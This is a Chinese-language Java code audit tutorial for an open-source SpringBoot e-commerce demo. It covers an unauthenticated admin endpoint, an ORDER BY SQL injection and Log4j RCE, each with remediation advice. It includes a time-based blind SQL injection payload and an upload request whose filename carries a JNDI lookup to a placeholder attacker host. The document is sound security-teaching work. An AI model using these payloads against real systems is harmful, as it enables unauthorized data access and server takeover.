JAVA代审—某迷你天猫商城
字数 1863 2025-08-29 08:30:06

迷你天猫商城Java代码审计教学文档

1. 项目概述

迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,主要功能包括:

  • 用户注册、登录
  • 商品浏览、购物车管理
  • 订单创建、支付、确认收货、评价
  • 后台管理(商品管理、订单管理、类别管理、用户管理和交易额统计)

技术栈:

  • 框架:SpringBoot
  • ORM:MyBatis
  • 数据库:MySQL 5.7
  • JDK版本:1.8
  • 日志组件:Log4j 2.10.0

2. 环境部署

  1. 克隆项目代码:

    https://gitee.com/zwp1341710922/e-commerce-management-system.git
    

    建议使用IntelliJ IDEA的版本控制功能检出

  2. 数据库准备:

    • 创建数据库tmalldemodb
    • 导入项目提供的SQL文件
  3. MySQL配置调整(临时禁用ONLY_FULL_GROUP_BY模式):

    SET GLOBAL sql_mode = (SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY', ''))
    
  4. 运行项目后访问:

    http://localhost:8082/tmall/admin/login
    

    账户信息存储在admin表中

3. 安全漏洞审计

3.1 未授权访问漏洞

漏洞位置
com.xq.tmall.controller.admin.UserController.java

漏洞描述

  • 路径/tmall/admin/user/1/10可直接访问,返回包含用户密码等敏感信息
  • 其他方法使用了鉴权代码:
    logger.info("检查管理员权限");
    Object adminId = checkAdmin(session);
    
  • 但目标方法缺少鉴权逻辑

影响
攻击者无需认证即可获取所有用户信息,包括密码等敏感数据

修复建议

  • 为所有需要权限的方法添加鉴权检查
  • 敏感信息(如密码)应在前端显示时进行脱敏处理

3.2 SQL注入漏洞

漏洞位置

  • 通过搜索order bylike等关键字发现
  • 具体在UserMapper.xml文件中

漏洞描述

  • 请求示例:
    http://localhost:8082/tmall/admin/user/1/10?orderBy=1
    
    实际执行的SQL:
    SELECT user_id,user_name,user_nickname,user_password,user_realname,
    user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace 
    FROM user 
    ORDER BY 1 desc 
    LIMIT 10,10
    
  • 可构造恶意参数触发时间盲注:
    /tmall/admin/user/1/10?orderBy=IF(1=1,+sleep(1),+1)--+
    
    观察到明显延迟(sleep(3)延迟约60秒)

代码分析

  • UserMapper.java定义接口方法
  • UserMapper.xml实现具体SQL,使用${}进行参数拼接而非预编译的#{}

影响
攻击者可利用此漏洞进行数据库信息泄露、数据篡改等操作

修复建议

  • 使用MyBatis的预编译方式(#{})替换直接拼接(${}
  • 对必须使用动态SQL的场景进行严格的输入过滤和校验
  • 实现最小权限原则,限制数据库用户权限

3.3 Log4j漏洞

漏洞描述

  • 项目使用Log4j 2.10.0版本
  • 存在已知高危漏洞:
    • CVE-2021-44228(远程代码执行)
    • CVE-2021-45046

漏洞位置

  • 图片上传功能中记录日志的代码:
    logger.info("获取图片原始文件名:{}", originalFileName);
    

利用方式
构造恶意文件名触发JNDI注入:

POST /tmall/user/uploadUserHeadImage HTTP/1.1
Host: localhost:8082
Content-Type: multipart/form-data; boundary=171182472826653739854099729287
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://attacker.com/exploit}"
Content-Type: image/jpeg

影响
攻击者可在服务器上执行任意代码,完全控制服务器

修复建议

  • 立即升级Log4j到最新安全版本(2.17.0或更高)
  • 临时缓解措施:
    • 设置系统属性log4j2.formatMsgNoLookups=true
    • 移除JndiLookup类
  • 对用户提供的文件名进行严格过滤

3.4 Fastjson潜在漏洞

审计方法

  • 全文搜索JSON.parse()JSON.parseObject()
  • Fastjson历史版本存在多个反序列化漏洞

建议

  • 确认使用的Fastjson版本
  • 如使用旧版本,应升级到最新安全版本
  • 避免反序列化不可信数据

4. 其他发现

  • 依赖管理问题:Maven下载的依赖与pom文件声明的版本不一致
    • 可能导致不可预期的安全风险
    • 建议使用dependency:tree检查实际依赖版本
    • 使用dependencyManagement统一管理依赖版本

5. 安全开发建议

  1. 认证与授权:

    • 所有管理接口必须进行权限校验
    • 实现基于角色的访问控制(RBAC)
  2. SQL安全:

    • 全面使用预编译语句
    • 避免动态拼接SQL
    • 使用MyBatis拦截器进行统一SQL安全处理
  3. 日志安全:

    • 升级所有存在已知漏洞的日志组件
    • 避免记录敏感信息
    • 对用户输入进行过滤后再记录
  4. 输入验证:

    • 对所有用户输入进行严格验证
    • 实现白名单过滤机制
  5. 依赖管理:

    • 定期检查项目依赖的安全公告
    • 使用OWASP Dependency-Check等工具扫描依赖漏洞
    • 及时更新存在漏洞的依赖
  6. 安全编码:

    • 实施安全编码规范
    • 进行代码安全审计
    • 关键操作添加安全日志

6. 总结

本次审计发现的迷你天猫商城主要安全问题包括:

  1. 未授权访问漏洞(高危)
  2. SQL注入漏洞(高危)
  3. Log4j远程代码执行漏洞(严重)
  4. Fastjson潜在反序列化漏洞
  5. 依赖管理不规范问题

建议开发团队按照上述修复建议立即修复高危漏洞,并建立长期的安全开发流程,确保系统安全。

迷你天猫商城Java代码审计教学文档 1. 项目概述 迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,主要功能包括: 用户注册、登录 商品浏览、购物车管理 订单创建、支付、确认收货、评价 后台管理(商品管理、订单管理、类别管理、用户管理和交易额统计) 技术栈: 框架:SpringBoot ORM:MyBatis 数据库:MySQL 5.7 JDK版本:1.8 日志组件:Log4j 2.10.0 2. 环境部署 克隆项目代码: 建议使用IntelliJ IDEA的版本控制功能检出 数据库准备: 创建数据库 tmalldemodb 导入项目提供的SQL文件 MySQL配置调整(临时禁用ONLY_ FULL_ GROUP_ BY模式): 运行项目后访问: 账户信息存储在admin表中 3. 安全漏洞审计 3.1 未授权访问漏洞 漏洞位置 : com.xq.tmall.controller.admin.UserController.java 漏洞描述 : 路径 /tmall/admin/user/1/10 可直接访问,返回包含用户密码等敏感信息 其他方法使用了鉴权代码: 但目标方法缺少鉴权逻辑 影响 : 攻击者无需认证即可获取所有用户信息,包括密码等敏感数据 修复建议 : 为所有需要权限的方法添加鉴权检查 敏感信息(如密码)应在前端显示时进行脱敏处理 3.2 SQL注入漏洞 漏洞位置 : 通过搜索 order by 、 like 等关键字发现 具体在 UserMapper.xml 文件中 漏洞描述 : 请求示例: 实际执行的SQL: 可构造恶意参数触发时间盲注: 观察到明显延迟(sleep(3)延迟约60秒) 代码分析 : UserMapper.java 定义接口方法 UserMapper.xml 实现具体SQL,使用 ${} 进行参数拼接而非预编译的 #{} 影响 : 攻击者可利用此漏洞进行数据库信息泄露、数据篡改等操作 修复建议 : 使用MyBatis的预编译方式( #{} )替换直接拼接( ${} ) 对必须使用动态SQL的场景进行严格的输入过滤和校验 实现最小权限原则,限制数据库用户权限 3.3 Log4j漏洞 漏洞描述 : 项目使用Log4j 2.10.0版本 存在已知高危漏洞: CVE-2021-44228(远程代码执行) CVE-2021-45046 漏洞位置 : 图片上传功能中记录日志的代码: 利用方式 : 构造恶意文件名触发JNDI注入: 影响 : 攻击者可在服务器上执行任意代码,完全控制服务器 修复建议 : 立即升级Log4j到最新安全版本(2.17.0或更高) 临时缓解措施: 设置系统属性 log4j2.formatMsgNoLookups=true 移除JndiLookup类 对用户提供的文件名进行严格过滤 3.4 Fastjson潜在漏洞 审计方法 : 全文搜索 JSON.parse() 和 JSON.parseObject() Fastjson历史版本存在多个反序列化漏洞 建议 : 确认使用的Fastjson版本 如使用旧版本,应升级到最新安全版本 避免反序列化不可信数据 4. 其他发现 依赖管理问题:Maven下载的依赖与pom文件声明的版本不一致 可能导致不可预期的安全风险 建议使用dependency:tree检查实际依赖版本 使用dependencyManagement统一管理依赖版本 5. 安全开发建议 认证与授权: 所有管理接口必须进行权限校验 实现基于角色的访问控制(RBAC) SQL安全: 全面使用预编译语句 避免动态拼接SQL 使用MyBatis拦截器进行统一SQL安全处理 日志安全: 升级所有存在已知漏洞的日志组件 避免记录敏感信息 对用户输入进行过滤后再记录 输入验证: 对所有用户输入进行严格验证 实现白名单过滤机制 依赖管理: 定期检查项目依赖的安全公告 使用OWASP Dependency-Check等工具扫描依赖漏洞 及时更新存在漏洞的依赖 安全编码: 实施安全编码规范 进行代码安全审计 关键操作添加安全日志 6. 总结 本次审计发现的迷你天猫商城主要安全问题包括: 未授权访问漏洞(高危) SQL注入漏洞(高危) Log4j远程代码执行漏洞(严重) Fastjson潜在反序列化漏洞 依赖管理不规范问题 建议开发团队按照上述修复建议立即修复高危漏洞,并建立长期的安全开发流程,确保系统安全。